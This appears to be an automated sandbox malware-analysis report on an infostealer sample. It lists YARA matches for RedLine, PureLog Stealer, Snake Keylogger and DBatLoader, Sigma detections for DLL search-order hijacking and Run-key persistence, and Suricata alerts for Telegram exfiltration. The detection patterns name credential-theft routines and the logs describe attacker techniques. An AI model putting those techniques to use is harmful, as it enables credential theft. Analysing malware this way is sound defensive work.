23.3.yihfsboC.pif.327be688.0.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2545d:$s1: UnHook 0x253f9:$s2: SetHook 0x25432:$s3: CallNextHook 0x253c1:$s4: _hook
23.2.yihfsboC.pif.35956478.10.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
23.2.yihfsboC.pif.35956478.10.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
23.2.yihfsboC.pif.35956478.10.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x28a15:$a1: get_encryptedPassword 0x60d2d:$a1: get_encryptedPassword 0x289e9:$a2: get_encryptedUsername 0x60d01:$a2: get_encryptedUsername 0x28aad:$a3: get_timePasswordChanged 0x60dc5:$a3: get_timePasswordChanged 0x289c5:$a4: get_passwordField 0x60cdd:$a4: get_passwordField 0x28a2b:$a5: set_encryptedPassword 0x60d43:$a5: set_encryptedPassword 0x287f8:$a7: get_logins 0x60b10:$a7: get_logins 0x24f36:$a10: KeyLoggerEventArgs 0x5d24e:$a10: KeyLoggerEventArgs 0x24f05:$a11: KeyLoggerEventArgsEventHandler 0x5d21d:$a11: KeyLoggerEventArgsEventHandler 0x288cc:$a13: _encryptedPassword 0x60be4:$a13: _encryptedPassword
23.2.yihfsboC.pif.35956478.10.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2725d:$s1: UnHook 0x5f575:$s1: UnHook 0x271f9:$s2: SetHook 0x5f511:$s2: SetHook 0x27232:$s3: CallNextHook 0x5f54a:$s3: CallNextHook 0x271c1:$s4: _hook 0x5f4d9:$s4: _hook
26.1.yihfsboC.pif.400000.2.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1e4b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x1300:$s3: 83 EC 38 53 B0 99 88 44 24 2B 88 44 24 2F B0 72 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x2018a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1fdd0:$s5: delete[] 0x1f288:$s6: constructor or from DllMain.
14.2.yihfsboC.pif.28be0000.15.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
14.2.yihfsboC.pif.28be0000.15.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
14.2.yihfsboC.pif.28be0000.15.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x28a15:$a1: get_encryptedPassword 0x289e9:$a2: get_encryptedUsername 0x28aad:$a3: get_timePasswordChanged 0x289c5:$a4: get_passwordField 0x28a2b:$a5: set_encryptedPassword 0x287f8:$a7: get_logins 0x24f36:$a10: KeyLoggerEventArgs 0x24f05:$a11: KeyLoggerEventArgsEventHandler 0x288cc:$a13: _encryptedPassword
14.2.yihfsboC.pif.28be0000.15.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2725d:$s1: UnHook 0x271f9:$s2: SetHook 0x27232:$s3: CallNextHook 0x271c1:$s4: _hook
26.2.yihfsboC.pif.285db98e.4.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
26.2.yihfsboC.pif.285db98e.4.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x27b1d:$a1: get_encryptedPassword 0x27af1:$a2: get_encryptedUsername 0x27bb5:$a3: get_timePasswordChanged 0x27acd:$a4: get_passwordField 0x27b33:$a5: set_encryptedPassword 0x27900:$a7: get_logins 0x2403e:$a10: KeyLoggerEventArgs 0x2400d:$a11: KeyLoggerEventArgsEventHandler 0x279d4:$a13: _encryptedPassword
26.2.yihfsboC.pif.285db98e.4.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x26365:$s1: UnHook 0x26301:$s2: SetHook 0x2633a:$s3: CallNextHook 0x262c9:$s4: _hook
23.2.yihfsboC.pif.34690000.5.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
23.2.yihfsboC.pif.34690000.5.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x27b1d:$a1: get_encryptedPassword 0x27af1:$a2: get_encryptedUsername 0x27bb5:$a3: get_timePasswordChanged 0x27acd:$a4: get_passwordField 0x27b33:$a5: set_encryptedPassword 0x27900:$a7: get_logins 0x2403e:$a10: KeyLoggerEventArgs 0x2400d:$a11: KeyLoggerEventArgsEventHandler 0x279d4:$a13: _encryptedPassword
23.2.yihfsboC.pif.34690000.5.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x26365:$s1: UnHook 0x26301:$s2: SetHook 0x2633a:$s3: CallNextHook 0x262c9:$s4: _hook
0.2.EPTMAcgvNZ.exe.21ef13d8.11.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1d0b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x700:$s3: 83 EC 38 53 B0 99 88 44 24 2B 88 44 24 2F B0 72 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x1ed8a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1e9d0:$s5: delete[] 0x1de88:$s6: constructor or from DllMain.
26.2.yihfsboC.pif.2b4c0000.10.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
26.2.yihfsboC.pif.2b4c0000.10.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x26c15:$a1: get_encryptedPassword 0x26be9:$a2: get_encryptedUsername 0x26cad:$a3: get_timePasswordChanged 0x26bc5:$a4: get_passwordField 0x26c2b:$a5: set_encryptedPassword 0x269f8:$a7: get_logins 0x23136:$a10: KeyLoggerEventArgs 0x23105:$a11: KeyLoggerEventArgsEventHandler 0x26acc:$a13: _encryptedPassword
26.2.yihfsboC.pif.2b4c0000.10.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2545d:$s1: UnHook 0x253f9:$s2: SetHook 0x25432:$s3: CallNextHook 0x253c1:$s4: _hook
14.2.yihfsboC.pif.27066478.12.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
14.2.yihfsboC.pif.27066478.12.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x26c15:$a1: get_encryptedPassword 0x26be9:$a2: get_encryptedUsername 0x26cad:$a3: get_timePasswordChanged 0x26bc5:$a4: get_passwordField 0x26c2b:$a5: set_encryptedPassword 0x269f8:$a7: get_logins 0x23136:$a10: KeyLoggerEventArgs 0x23105:$a11: KeyLoggerEventArgsEventHandler 0x26acc:$a13: _encryptedPassword
14.2.yihfsboC.pif.27066478.12.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2545d:$s1: UnHook 0x253f9:$s2: SetHook 0x25432:$s3: CallNextHook 0x253c1:$s4: _hook
23.1.yihfsboC.pif.400000.0.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1e4b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x1300:$s3: 83 EC 38 53 B0 99 88 44 24 2B 88 44 24 2F B0 72 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x2018a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1fdd0:$s5: delete[] 0x1f288:$s6: constructor or from DllMain.
23.2.yihfsboC.pif.34690f08.6.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
23.2.yihfsboC.pif.34690f08.6.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
23.2.yihfsboC.pif.34690f08.6.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x28a15:$a1: get_encryptedPassword 0x289e9:$a2: get_encryptedUsername 0x28aad:$a3: get_timePasswordChanged 0x289c5:$a4: get_passwordField 0x28a2b:$a5: set_encryptedPassword 0x287f8:$a7: get_logins 0x24f36:$a10: KeyLoggerEventArgs 0x24f05:$a11: KeyLoggerEventArgsEventHandler 0x288cc:$a13: _encryptedPassword
23.2.yihfsboC.pif.34690f08.6.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2725d:$s1: UnHook 0x271f9:$s2: SetHook 0x27232:$s3: CallNextHook 0x271c1:$s4: _hook
23.1.yihfsboC.pif.400000.0.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1d0b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x700:$s3: 83 EC 38 53 B0 99 88 44 24 2B 88 44 24 2F B0 72 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x1ed8a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1e9d0:$s5: delete[] 0x1de88:$s6: constructor or from DllMain.
14.2.yihfsboC.pif.25d6b98e.8.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
14.2.yihfsboC.pif.25d6b98e.8.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x27b1d:$a1: get_encryptedPassword 0x27af1:$a2: get_encryptedUsername 0x27bb5:$a3: get_timePasswordChanged 0x27acd:$a4: get_passwordField 0x27b33:$a5: set_encryptedPassword 0x27900:$a7: get_logins 0x2403e:$a10: KeyLoggerEventArgs 0x2400d:$a11: KeyLoggerEventArgsEventHandler 0x279d4:$a13: _encryptedPassword
14.2.yihfsboC.pif.25d6b98e.8.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x26365:$s1: UnHook 0x26301:$s2: SetHook 0x2633a:$s3: CallNextHook 0x262c9:$s4: _hook
23.2.yihfsboC.pif.342db98e.3.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
23.2.yihfsboC.pif.342db98e.3.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x27b1d:$a1: get_encryptedPassword 0x27af1:$a2: get_encryptedUsername 0x27bb5:$a3: get_timePasswordChanged 0x27acd:$a4: get_passwordField 0x27b33:$a5: set_encryptedPassword 0x27900:$a7: get_logins 0x2403e:$a10: KeyLoggerEventArgs 0x2400d:$a11: KeyLoggerEventArgsEventHandler 0x279d4:$a13: _encryptedPassword
23.2.yihfsboC.pif.342db98e.3.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x26365:$s1: UnHook 0x26301:$s2: SetHook 0x2633a:$s3: CallNextHook 0x262c9:$s4: _hook
23.2.yihfsboC.pif.342dc896.4.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
23.2.yihfsboC.pif.342dc896.4.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x26c15:$a1: get_encryptedPassword 0x26be9:$a2: get_encryptedUsername 0x26cad:$a3: get_timePasswordChanged 0x26bc5:$a4: get_passwordField 0x26c2b:$a5: set_encryptedPassword 0x269f8:$a7: get_logins 0x23136:$a10: KeyLoggerEventArgs 0x23105:$a11: KeyLoggerEventArgsEventHandler 0x26acc:$a13: _encryptedPassword
23.2.yihfsboC.pif.342dc896.4.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2545d:$s1: UnHook 0x253f9:$s2: SetHook 0x25432:$s3: CallNextHook 0x253c1:$s4: _hook
14.3.yihfsboC.pif.24219998.0.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
14.3.yihfsboC.pif.24219998.0.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x26c15:$a1: get_encryptedPassword 0x26be9:$a2: get_encryptedUsername 0x26cad:$a3: get_timePasswordChanged 0x26bc5:$a4: get_passwordField 0x26c2b:$a5: set_encryptedPassword 0x269f8:$a7: get_logins 0x23136:$a10: KeyLoggerEventArgs 0x23105:$a11: KeyLoggerEventArgsEventHandler 0x26acc:$a13: _encryptedPassword
14.3.yihfsboC.pif.24219998.0.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2545d:$s1: UnHook 0x253f9:$s2: SetHook 0x25432:$s3: CallNextHook 0x253c1:$s4: _hook
14.2.yihfsboC.pif.2709e790.10.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
14.2.yihfsboC.pif.2709e790.10.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
14.2.yihfsboC.pif.2709e790.10.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x28a15:$a1: get_encryptedPassword 0x289e9:$a2: get_encryptedUsername 0x28aad:$a3: get_timePasswordChanged 0x289c5:$a4: get_passwordField 0x28a2b:$a5: set_encryptedPassword 0x287f8:$a7: get_logins 0x24f36:$a10: KeyLoggerEventArgs 0x24f05:$a11: KeyLoggerEventArgsEventHandler 0x288cc:$a13: _encryptedPassword
14.2.yihfsboC.pif.2709e790.10.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2725d:$s1: UnHook 0x271f9:$s2: SetHook 0x27232:$s3: CallNextHook 0x271c1:$s4: _hook
14.2.yihfsboC.pif.27065570.11.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
14.2.yihfsboC.pif.27065570.11.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
14.2.yihfsboC.pif.27065570.11.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2991d:$a1: get_encryptedPassword 0x61c35:$a1: get_encryptedPassword 0x298f1:$a2: get_encryptedUsername 0x61c09:$a2: get_encryptedUsername 0x299b5:$a3: get_timePasswordChanged 0x61ccd:$a3: get_timePasswordChanged 0x298cd:$a4: get_passwordField 0x61be5:$a4: get_passwordField 0x29933:$a5: set_encryptedPassword 0x61c4b:$a5: set_encryptedPassword 0x29700:$a7: get_logins 0x61a18:$a7: get_logins 0x25e3e:$a10: KeyLoggerEventArgs 0x5e156:$a10: KeyLoggerEventArgs 0x25e0d:$a11: KeyLoggerEventArgsEventHandler 0x5e125:$a11: KeyLoggerEventArgsEventHandler 0x297d4:$a13: _encryptedPassword 0x61aec:$a13: _encryptedPassword
14.2.yihfsboC.pif.27065570.11.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x28165:$s1: UnHook 0x6047d:$s1: UnHook 0x28101:$s2: SetHook 0x60419:$s2: SetHook 0x2813a:$s3: CallNextHook 0x60452:$s3: CallNextHook 0x280c9:$s4: _hook 0x603e1:$s4: _hook
0.2.EPTMAcgvNZ.exe.21a70ae8.9.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1d0b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x700:$s3: 83 EC 38 53 B0 99 88 44 24 2B 88 44 24 2F B0 72 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x1ed8a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1e9d0:$s5: delete[] 0x1de88:$s6: constructor or from DllMain.
14.3.yihfsboC.pif.24219998.0.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
14.3.yihfsboC.pif.24219998.0.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
14.3.yihfsboC.pif.24219998.0.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x28a15:$a1: get_encryptedPassword 0x289e9:$a2: get_encryptedUsername 0x28aad:$a3: get_timePasswordChanged 0x289c5:$a4: get_passwordField 0x28a2b:$a5: set_encryptedPassword 0x287f8:$a7: get_logins 0x24f36:$a10: KeyLoggerEventArgs 0x24f05:$a11: KeyLoggerEventArgsEventHandler 0x288cc:$a13: _encryptedPassword
14.3.yihfsboC.pif.24219998.0.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2725d:$s1: UnHook 0x271f9:$s2: SetHook 0x27232:$s3: CallNextHook 0x271c1:$s4: _hook
26.2.yihfsboC.pif.29915570.7.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
26.2.yihfsboC.pif.29915570.7.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
26.2.yihfsboC.pif.29915570.7.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2991d:$a1: get_encryptedPassword 0x61c35:$a1: get_encryptedPassword 0x298f1:$a2: get_encryptedUsername 0x61c09:$a2: get_encryptedUsername 0x299b5:$a3: get_timePasswordChanged 0x61ccd:$a3: get_timePasswordChanged 0x298cd:$a4: get_passwordField 0x61be5:$a4: get_passwordField 0x29933:$a5: set_encryptedPassword 0x61c4b:$a5: set_encryptedPassword 0x29700:$a7: get_logins 0x61a18:$a7: get_logins 0x25e3e:$a10: KeyLoggerEventArgs 0x5e156:$a10: KeyLoggerEventArgs 0x25e0d:$a11: KeyLoggerEventArgsEventHandler 0x5e125:$a11: KeyLoggerEventArgsEventHandler 0x297d4:$a13: _encryptedPassword 0x61aec:$a13: _encryptedPassword
26.2.yihfsboC.pif.29915570.7.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x28165:$s1: UnHook 0x6047d:$s1: UnHook 0x28101:$s2: SetHook 0x60419:$s2: SetHook 0x2813a:$s3: CallNextHook 0x60452:$s3: CallNextHook 0x280c9:$s4: _hook 0x603e1:$s4: _hook
0.2.EPTMAcgvNZ.exe.2b10000.3.unpack	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
0.2.EPTMAcgvNZ.exe.23265a8.1.unpack	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
Click to see the 199 entries

Sigma Signatures

System Summary

Sigma detected: DLL Search Order Hijackig Via Additional Space in Path

Source: File created

Author: frack113, Nasreddine Bencherchali: Data: EventID: 11, Image: C:\Users\user\Desktop\EPTMAcgvNZ.exe, ProcessId: 7128, TargetFilename: C:\Windows \SysWOW64\NETUTILS.dll

Sigma detected: Execution from Suspicious Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Tim Shelton: Data: Command: C:\Users\Public\Libraries\yihfsboC.pif, CommandLine: C:\Users\Public\Libraries\yihfsboC.pif, CommandLine|base64offset|contains: , Image: C:\Users\Public\Libraries\yihfsboC.pif, NewProcessName: C:\Users\Public\Libraries\yihfsboC.pif, OriginalFileName: C:\Users\Public\Libraries\yihfsboC.pif, ParentCommandLine: "C:\Users\user\Desktop\EPTMAcgvNZ.exe", ParentImage: C:\Users\user\Desktop\EPTMAcgvNZ.exe, ParentProcessId: 7128, ParentProcessName: EPTMAcgvNZ.exe, ProcessCommandLine: C:\Users\Public\Libraries\yihfsboC.pif, ProcessId: 7240, ProcessName: yihfsboC.pif

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\Public\Cobsfhiy.url, EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\EPTMAcgvNZ.exe, ProcessId: 7128, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Cobsfhiy

Sigma detected: Suspicious Program Location with Network Connections

Source: Network Connection

Author: Florian Roth (Nextron Systems), Tim Shelton: Data: DestinationIp: 132.226.8.169, DestinationIsIpv6: false, DestinationPort: 80, EventID: 3, Image: C:\Users\Public\Libraries\yihfsboC.pif, Initiated: true, ProcessId: 7240, Protocol: tcp, SourceIp: 192.168.2.7, SourceIsIpv6: false, SourcePort: 49710

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\Public\Cobsfhiy.url, EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\EPTMAcgvNZ.exe, ProcessId: 7128, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Cobsfhiy

Sigma detected: Execution of Suspicious File Type Extension

Source: Process started

Author: Max Altgelt (Nextron Systems): Data: Command: C:\Users\Public\Libraries\yihfsboC.pif, CommandLine: C:\Users\Public\Libraries\yihfsboC.pif, CommandLine|base64offset|contains: , Image: C:\Users\Public\Libraries\yihfsboC.pif, NewProcessName: C:\Users\Public\Libraries\yihfsboC.pif, OriginalFileName: C:\Users\Public\Libraries\yihfsboC.pif, ParentCommandLine: "C:\Users\user\Desktop\EPTMAcgvNZ.exe", ParentImage: C:\Users\user\Desktop\EPTMAcgvNZ.exe, ParentProcessId: 7128, ParentProcessName: EPTMAcgvNZ.exe, ProcessCommandLine: C:\Users\Public\Libraries\yihfsboC.pif, ProcessId: 7240, ProcessName: yihfsboC.pif

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-26T08:24:42.922117+0100	2028371	3	Unknown Traffic	192.168.2.7	49702	185.166.143.48	443	TCP
2024-11-26T08:24:45.662912+0100	2028371	3	Unknown Traffic	192.168.2.7	49703	16.182.70.225	443	TCP

ETPRO MALWARE Snake Keylogger Telegram Exfil

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-26T08:25:08.912759+0100	2853006	1	A Network Trojan was detected	192.168.2.7	49742	149.154.167.220	443	TCP
2024-11-26T08:25:19.825821+0100	2853006	1	A Network Trojan was detected	192.168.2.7	49764	149.154.167.220	443	TCP
2024-11-26T08:25:21.178091+0100	2853006	1	A Network Trojan was detected	192.168.2.7	49770	149.154.167.220	443	TCP
2024-11-26T08:25:23.204892+0100	2853006	1	A Network Trojan was detected	192.168.2.7	49775	149.154.167.220	443	TCP
2024-11-26T08:25:23.946619+0100	2853006	1	A Network Trojan was detected	192.168.2.7	49776	149.154.167.220	443	TCP
2024-11-26T08:25:26.049970+0100	2853006	1	A Network Trojan was detected	192.168.2.7	49781	149.154.167.220	443	TCP
2024-11-26T08:25:28.010639+0100	2853006	1	A Network Trojan was detected	192.168.2.7	49786	149.154.167.220	443	TCP
2024-11-26T08:25:32.576254+0100	2853006	1	A Network Trojan was detected	192.168.2.7	49791	149.154.167.220	443	TCP
2024-11-26T08:25:32.586543+0100	2853006	1	A Network Trojan was detected	192.168.2.7	49793	149.154.167.220	443	TCP
2024-11-26T08:25:34.569182+0100	2853006	1	A Network Trojan was detected	192.168.2.7	49803	149.154.167.220	443	TCP
2024-11-26T08:25:34.654030+0100	2853006	1	A Network Trojan was detected	192.168.2.7	49802	149.154.167.220	443	TCP
2024-11-26T08:25:35.355516+0100	2853006	1	A Network Trojan was detected	192.168.2.7	49806	149.154.167.220	443	TCP
2024-11-26T08:25:36.477132+0100	2853006	1	A Network Trojan was detected	192.168.2.7	49810	149.154.167.220	443	TCP
2024-11-26T08:25:36.566754+0100	2853006	1	A Network Trojan was detected	192.168.2.7	49811	149.154.167.220	443	TCP
2024-11-26T08:25:37.286947+0100	2853006	1	A Network Trojan was detected	192.168.2.7	49813	149.154.167.220	443	TCP
2024-11-26T08:25:38.453268+0100	2853006	1	A Network Trojan was detected	192.168.2.7	49817	149.154.167.220	443	TCP
2024-11-26T08:25:38.596417+0100	2853006	1	A Network Trojan was detected	192.168.2.7	49818	149.154.167.220	443	TCP
2024-11-26T08:25:39.254460+0100	2853006	1	A Network Trojan was detected	192.168.2.7	49821	149.154.167.220	443	TCP
2024-11-26T08:25:40.506102+0100	2853006	1	A Network Trojan was detected	192.168.2.7	49823	149.154.167.220	443	TCP
2024-11-26T08:25:40.690385+0100	2853006	1	A Network Trojan was detected	192.168.2.7	49825	149.154.167.220	443	TCP
2024-11-26T08:25:41.309105+0100	2853006	1	A Network Trojan was detected	192.168.2.7	49828	149.154.167.220	443	TCP
2024-11-26T08:25:42.559961+0100	2853006	1	A Network Trojan was detected	192.168.2.7	49831	149.154.167.220	443	TCP
2024-11-26T08:25:42.660893+0100	2853006	1	A Network Trojan was detected	192.168.2.7	49832	149.154.167.220	443	TCP
2024-11-26T08:25:43.283332+0100	2853006	1	A Network Trojan was detected	192.168.2.7	49836	149.154.167.220	443	TCP
2024-11-26T08:25:44.896641+0100	2853006	1	A Network Trojan was detected	192.168.2.7	49840	149.154.167.220	443	TCP
2024-11-26T08:25:44.936818+0100	2853006	1	A Network Trojan was detected	192.168.2.7	49839	149.154.167.220	443	TCP
2024-11-26T08:25:46.081878+0100	2853006	1	A Network Trojan was detected	192.168.2.7	49842	149.154.167.220	443	TCP
2024-11-26T08:25:46.878546+0100	2853006	1	A Network Trojan was detected	192.168.2.7	49846	149.154.167.220	443	TCP
2024-11-26T08:25:46.926538+0100	2853006	1	A Network Trojan was detected	192.168.2.7	49847	149.154.167.220	443	TCP
2024-11-26T08:25:48.241922+0100	2853006	1	A Network Trojan was detected	192.168.2.7	49850	149.154.167.220	443	TCP
2024-11-26T08:25:49.140464+0100	2853006	1	A Network Trojan was detected	192.168.2.7	49854	149.154.167.220	443	TCP
2024-11-26T08:25:49.173504+0100	2853006	1	A Network Trojan was detected	192.168.2.7	49855	149.154.167.220	443	TCP
2024-11-26T08:25:50.267456+0100	2853006	1	A Network Trojan was detected	192.168.2.7	49858	149.154.167.220	443	TCP
2024-11-26T08:25:51.080992+0100	2853006	1	A Network Trojan was detected	192.168.2.7	49864	149.154.167.220	443	TCP
2024-11-26T08:25:51.119037+0100	2853006	1	A Network Trojan was detected	192.168.2.7	49863	149.154.167.220	443	TCP
2024-11-26T08:25:52.281538+0100	2853006	1	A Network Trojan was detected	192.168.2.7	49867	149.154.167.220	443	TCP
2024-11-26T08:25:53.054025+0100	2853006	1	A Network Trojan was detected	192.168.2.7	49868	149.154.167.220	443	TCP
2024-11-26T08:25:53.204327+0100	2853006	1	A Network Trojan was detected	192.168.2.7	49870	149.154.167.220	443	TCP
